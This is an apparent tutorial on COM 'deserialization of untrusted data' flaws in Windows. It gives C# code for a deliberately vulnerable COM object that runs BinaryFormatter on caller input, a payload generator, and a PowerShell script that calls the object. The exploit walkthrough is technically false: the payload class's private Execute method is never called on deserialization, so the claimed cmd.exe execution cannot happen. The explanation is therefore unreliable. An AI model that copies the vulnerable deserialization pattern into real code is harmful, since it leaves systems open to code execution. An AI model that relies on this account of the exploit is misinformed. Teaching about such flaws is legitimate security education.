The Microsoft COM (Component Object Model) for Windows Deserialization of Untrusted Data Vulnerability (CVE) typically refers to a security flaw that arises when a COM object or application deserializes data from an untrusted source. Deserialization is the process of converting data from a format that can be stored or transmitted (e.g., a file or a network packet) back into an object in memory.
Here’s a breakdown of how this type of vulnerability works:
1. COM and Deserialization:
- COM is a platform-independent, distributed, object-oriented system used for creating binary software components that can interact.
- Deserialization is the reverse process of serialization; it converts the serialized data back into an object.
2. The Vulnerability:
- When a COM object deserializes data, it expects that data to be in a specific format and often assumes that the data is safe.
- If the data comes from an untrusted source (like user input or external files), it could be crafted maliciously.
- Malicious data can be manipulated to contain unexpected information, like pointers to malicious code or crafted data that triggers unintended behavior in the COM object.
3. Exploitation:
- An attacker could exploit this vulnerability by sending or providing a maliciously crafted serialized object to a vulnerable COM component.
- When the COM object deserializes this data, it could lead to:
- Remote Code Execution (RCE): The deserialization process could trigger the execution of malicious code within the context of the affected application or system.
- Denial of Service (DoS): The malicious data could crash the application, causing a denial of service.
- Privilege Escalation: Depending on the context in which the deserialization occurs, an attacker might escalate their privileges on the system.
4. Mitigation:
- Developers should ensure that deserialization processes are conducted securely by validating and sanitizing the data before deserialization.
- Applying security patches released by Microsoft that address this specific vulnerability.
- Using secure deserialization libraries that incorporate safeguards against untrusted data.
Example of Com Deserialise project
Create a simple interface that the COM object will implement.
using System.Runtime.InteropServices;
namespace COMVulnerabilityDemo
{
[ComVisible(true)]
[Guid("D0E42D36-6C7A-4DB0-AB8B-8F6F9C5B99B9")]
public interface IVulnerableComObject
{
void DisplayData(string serializedData);
}
}
Implement the Vulnerable COM Object:
Implement the COM object that deserializes data. This is where the vulnerability lies.
using System;
using System.Runtime.InteropServices;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace COMVulnerabilityDemo
{
[ComVisible(true)]
[Guid("89C5C9E1-7C91-4F82-962D-5121D6E7D3EF")]
[ClassInterface(ClassInterfaceType.None)]
public class VulnerableComObject : IVulnerableComObject
{
public void DisplayData(string serializedData)
{
// Convert string to byte array
byte[] data = Convert.FromBase64String(serializedData);
// Deserialize the data (vulnerable part)
BinaryFormatter formatter = new BinaryFormatter();
using (MemoryStream ms = new MemoryStream(data))
{
object obj = formatter.Deserialize(ms);
Console.WriteLine("Deserialized object: " + obj.ToString());
}
}
}
}
Register the COM Object:
- Ensure that your project is configured to register the COM object. This is done in the project properties under “Build” where you check “Register for COM interop”.
Build the Project:
- Build the project. This will compile your COM object and register it with the system.
Create the Malicious Payload
Write a C# Program to Generate a Malicious Payload:
- This script will serialize an object that, when deserialized, will execute a command.
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Diagnostics;
[Serializable]
public class MaliciousObject
{
private void Execute()
{
Process.Start("cmd.exe", "/c echo Malicious code executed!");
}
}
class Program
{
static void Main()
{
MaliciousObject obj = new MaliciousObject();
// Serialize the object to a byte array
BinaryFormatter formatter = new BinaryFormatter();
using (MemoryStream ms = new MemoryStream())
{
formatter.Serialize(ms, obj);
string serializedData = Convert.ToBase64String(ms.ToArray());
Console.WriteLine("Serialized malicious data: " + serializedData);
}
}
}
Run the Payload Generator:
- Compile and run this program to generate the malicious payload.
- Copy the serialized output.
Exploit the COM Object
Create a Script to Call the Vulnerable COM Object:
- Use a PowerShell script or another C# application to call the COM object and pass the malicious payload.
# PowerShell script to call the COM object
# Replace with your actual COM object's ProgID
$comObject = New-Object -ComObject "COMVulnerabilityDemo.VulnerableComObject"
# Paste the malicious serialized data here
$serializedData = "Paste your malicious payload here"
# Call the vulnerable method
$comObject.DisplayData($serializedData)
Run the Exploit:
- When the PowerShell script is run, the COM object will deserialize the malicious payload, triggering the execution of the
cmd.execommand with the message “Malicious code executed!”
Explanation
- COM Object: The
VulnerableComObjectis a COM object that deserializes data provided to it. This deserialization is unsafe because it assumes the data is trustworthy. - Malicious Payload: The
MaliciousObjectis designed to execute a command when it is deserialized. This demonstrates how an attacker could craft malicious serialized data to exploit the COM object. - PowerShell Script: The script demonstrates how an attacker might interact with the vulnerable COM object, passing the malicious payload.
Additional Considerations
- Security: This demo is for educational purposes only. Never run this code on production systems or environments connected to the internet.
- Real-World COM Exploits: In the real world, exploiting COM deserialization vulnerabilities may involve more sophisticated techniques and deep knowledge of the target system’s COM objects.